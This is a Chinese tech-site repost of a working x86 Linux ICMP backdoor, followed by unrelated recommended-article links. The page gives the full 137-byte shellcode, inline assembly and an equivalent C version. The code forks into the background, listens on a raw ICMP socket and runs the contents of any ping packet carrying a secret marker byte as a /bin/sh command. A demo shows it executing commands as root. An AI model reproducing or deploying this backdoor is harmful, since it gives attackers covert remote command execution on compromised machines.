热门标签 | HotTags
当前位置:  开发笔记 > 后端 > 正文

LinuxICMP后门代码

文章标题:LinuxICMP后门代码。Linux是中国IT实验室的一个技术频道。包含桌面应用,Linux系统管理,内核研究,嵌入式系统和开源等一些基本分类

  在不少协议的应用都存在着一些后门。例如我们今天将要介绍的Linux ICMP的后门。那么下面我们就来详细看一下关于137字节的Linux远程ICMP后门的具体内容。使用Ping控制程序:

  /*

  x86 linux icmp bind shellcode (137 bytes) by gloomy@netric.org

  [example]

  main:/home/gloomy/security/shellcode/linux/icmp# ./icmp

  Size of shellcode = 137

  main:/home/gloomy/security/shellcode/linux/icmp# ping -p 992f7573722f62696e2f69643e6f7574 -c 1 -s 26 localhost

  PATTERN: 0x992f7573722f62696e2f69643e6f7574 (\x99/usr/bin/id>out)

  34 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.5 ms

  main:/home/gloomy/security/shellcode/linux/icmp# cat out

  uid=0(root) gid=0(root) groups=0(root)

  main:/home/gloomy/security/shellcode/linux/icmp#

  */

  #include

  #include

  #include

  #include

  #define SECRET_CHAR "\x99"

  char shell[] =

  "\x31\xc0\x31\xdb\x31\xc9\xb0\x66"

  "\x43\x41\x51\xb1\x03\x51\x49\x51"

  "\x89\xe1\xcd\x80\x89\xc2\xb0\x02"

  "\xcd\x80\x31\xdb\x39\xc3\x75\x55"

  "\x31\xc0\x31\xdb\xb0\x10\x50\xb0"

  "\xff\x54\x54\x53\x50\x55\x52\x89"

  "\xe1\xb0\x66\xb3\x0c\xcd\x80\x89"

  "\xe9\x01\xc1\x31\xc0\x88\x41\xfe"

  "\xb0\x25\x01\xc5\xb0" SECRET_CHAR

  "\x32\x45\xff\x75\xd5\xb0\x02\xcd"

  "\x80\x31\xdb\x39\xc3\x74\x25\xeb"

  "\xc9\x31\xc0\x31\xdb\xb3\x02\xb0"

  "\x06\xcd\x80\x5b\x89\xd9\x88\x43"

  "\x07\x80\xc1\x08\x50\x55\x51\x53"

  "\x89\xe1\x99\xb0\x0b\xcd\x80\x31"

  "\xc0\x40\xcd\x80\xe8\xd8\xff\xff"

  "\xff"

  "/bin/sh -c";

  void asm_code() {

  __asm("

  xorl %eax,%eax

  xorl %ebx,%ebx

  xorl %ecx,%ecx

  movb $0x66,%al

  incl %ebx

  incl %ecx

  push %ecx

  movb $0x3,%cl

  push %ecx

  decl %ecx

  push %ecx

  movl %esp,%ecx

  int $0x80 /* socket(); */

  movl %eax,%edx

  movb $0x2,%al

  int $0x80 /* fork(); */

  xorl %ebx,%ebx

  cmpl %eax,%ebx

  jne exit

  endlessloop:

  xorl %eax,%eax

  xorl %ebx,%ebx

  movb $0x10,%al

  push %eax

  movb $0xff,%al

  push %esp

  push %esp

  push %ebx

  push %eax

  push %ebp

  push %edx

  movl %esp,%ecx

  movb $0x66,%al

  movb $0x0c,%bl

  int $0x80 /* recvfrom(); */

  movl %ebp,%ecx

  addl %eax,%ecx

  xorl %eax,%eax

  movb %al,-2(%ecx)

  movb $0x25,%al

  addl %eax,%ebp

  movb $0x99,%al /* SECRET_CHAR */

  xorb -1(%ebp),%al

  jnz endlessloop

  movb $0x2,%al

  int $0x80 /* fork(); */

  xorl %ebx,%ebx

  cmpl %eax,%ebx

  je stack

  jmp endlessloop

  execve:

  xorl %eax,%eax

  xorl %ebx,%ebx

  movb $0x2,%bl

  movb $0x6,%al

  int $0x80 /* close(); */

  pop %ebx

  movl %ebx,%ecx

  movb %al,0x7(%ebx)

  addb $0x8,%cl

  push %eax

  push %ebp

  push %ecx

  push %ebx

  movl %esp,%ecx

  cdq

  movb $0xb,%al

  int $0x80 /* execve(); */

  exit:

  xorl %eax,%eax

  incl %eax

  int $0x80 /* exit(); */

  stack:

  call execve

  .string \"/bin/sh -c\"

  ");

  }

  void c_code() {

  int fd;

  int nb = 0;

  struct sockaddr_in them;

  int them_size = sizeof(struct sockaddr);

  char buf[256];

  char *prog[] = {"/bin/sh","-c",&buf[37],NULL};

  fd = socket(2,3,1);

  if (fork() > 0) exit(0);

  while (1) {

  while (!(nb = recvfrom(fd,buf,255,0,(struct sockaddr *)&them,&them_size)));

  buf[nb-1] = 0;

  if (buf[36] == (char)SECRET_CHAR)

  if (fork() == 0) { close(2); execve(prog[0],prog,NULL); }

  }

  }

  int main(int c,char *v[]) {

  void (*i)();

  i = (void (*)())shell;

  fprintf(stderr,"Size of shellcode = %d\n\n",strlen(shell));

  i();

  return 0;

  那么,具体的Linux ICMP后门查看方法我们就呈现出来了。


推荐阅读
  • Linux环境变量$PATH的作用及使用方法
    本文介绍了Linux环境变量$PATH的作用及使用方法。$PATH是一个由多个目录组成的变量,用冒号分隔。当执行一个指令时,系统会按照$PATH定义的目录顺序搜索同名的可执行文件,如果有多个同名指令,则先找到的会被执行。通过设置$PATH变量,可以在任何地方执行指令,无需输入绝对路径。 ... [详细]
  • 服务器上的操作系统有哪些,如何选择适合的操作系统?
    本文介绍了服务器上常见的操作系统,包括系统盘镜像、数据盘镜像和整机镜像的数量。同时,还介绍了共享镜像的限制和使用方法。此外,还提供了关于华为云服务的帮助中心,其中包括产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题和视频帮助等技术文档。对于裸金属服务器的远程登录,本文介绍了使用密钥对登录的方法,并提供了部分操作系统配置示例。最后,还提到了SUSE云耀云服务器的特点和快速搭建方法。 ... [详细]
  • PHP组合工具以及开发所需的工具
    本文介绍了PHP开发中常用的组合工具和开发所需的工具。对于数据分析软件,包括Excel、hihidata、SPSS、SAS、MARLAB、Eview以及各种BI与报表工具等。同时还介绍了PHP开发所需的PHP MySQL Apache集成环境,包括推荐的AppServ等版本。 ... [详细]
  • 本文介绍了使用CentOS7.0 U盘刻录工具进行安装的详细步骤,包括使用USBWriter工具刻录ISO文件到USB驱动器、格式化USB磁盘、设置启动顺序等。通过本文的指导,用户可以轻松地使用U盘安装CentOS7.0操作系统。 ... [详细]
  • 本文介绍了一个在线急等问题解决方法,即如何统计数据库中某个字段下的所有数据,并将结果显示在文本框里。作者提到了自己是一个菜鸟,希望能够得到帮助。作者使用的是ACCESS数据库,并且给出了一个例子,希望得到的结果是560。作者还提到自己已经尝试了使用"select sum(字段2) from 表名"的语句,得到的结果是650,但不知道如何得到560。希望能够得到解决方案。 ... [详细]
  • Win10 64位旗舰版的优势及特点详解
    本文详细介绍了Win10 64位旗舰版的优势及特点,包括更安全的源安装盘、永久激活方式、稳定性和硬件驱动的集成,以及人性化的维护工具和分区功能。通过阅读本文,您将了解到Win10 64位旗舰版相比其他版本的优势和特点。 ... [详细]
  • 现在学vb6还靠得住么?语言只是工具,关键是思想。程序=算法+数据结构。除了汇编,其他语言都靠不住。随着时代的进步,很多语言跟不上开发的要求。从面向过程到面向对象,与其说是思想的进步,不如说是为了适应高速开发。除了底层汇编语言,还有那些能适应高速开发的语言。每种语言都是很有趣的。 ... [详细]
  • 本文详细介绍了如何创建和使用VUE uni-app开发环境,包括通过HBuilderX可视化界面和通过vue-cli命令执行的方法。文章内容简单清晰,易于学习与理解。通过学习本文,读者可以深入了解VUE uni-app开发环境,并通过实践验证掌握具体的使用情况。编程笔记将为读者推送更多相关知识点的文章,欢迎关注! ... [详细]
  • 本文介绍了一个从入门到高手的VB.NET源代码,通过学习这些源代码,可以在21天内成为VB.NET高手。文章提供了下载地址,并提醒读者加入作者的QQ群和收藏作者的博客。 ... [详细]
  • 全面介绍Windows内存管理机制及C++内存分配实例(四):内存映射文件
    本文旨在全面介绍Windows内存管理机制及C++内存分配实例中的内存映射文件。通过对内存映射文件的使用场合和与虚拟内存的区别进行解析,帮助读者更好地理解操作系统的内存管理机制。同时,本文还提供了相关章节的链接,方便读者深入学习Windows内存管理及C++内存分配实例的其他内容。 ... [详细]
  • Windows7企业版怎样存储安全新功能详解
    本文介绍了电脑公司发布的GHOST WIN7 SP1 X64 通用特别版 V2019.12,软件大小为5.71 GB,支持简体中文,属于国产软件,免费使用。文章还提到了用户评分和软件分类为Win7系统,运行环境为Windows。同时,文章还介绍了平台检测结果,无插件,通过了360、腾讯、金山和瑞星的检测。此外,文章还提到了本地下载文件大小为5.71 GB,需要先下载高速下载器才能进行高速下载。最后,文章详细解释了Windows7企业版的存储安全新功能。 ... [详细]
  • GTX1070Ti显卡怎么样?GTX1070Ti显卡首发图赏+参数解读与拆解图
    先来简单回顾一下今年的显卡市场,nvidia自从发布了帕斯卡架构新品之后,可以说是一直都主宰着高端游戏显卡市场,虽说amd也憋了一个hbm2的vega64出来,然而即使是最高贵的水 ... [详细]
  • 本文介绍了禅道作为一款国产开源免费的测试管理工具的特点和功能,并提供了禅道的搭建和调试方法。禅道是一款B/S结构的项目管理工具,可以实现组织管理、后台管理、产品管理、项目管理和测试管理等功能。同时,本文还介绍了其他软件测试相关工具,如功能自动化工具和性能自动化工具,以及白盒测试工具的使用。通过本文的阅读,读者可以了解禅道的基本使用方法和优势,从而更好地进行测试管理工作。 ... [详细]
  • 本文介绍了某点评网的搜索策略,包括名称和地址的匹配策略,模糊匹配的方法以及不同口音和拼音的近似发音。同时提供了一些例子来说明这些策略的应用。 ... [详细]
  • loader资源模块加载器webpack资源模块加载webpack内部(内部loader)默认只会处理javascript文件,也就是说它会把打包过程中所有遇到的 ... [详细]
author-avatar
透明
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有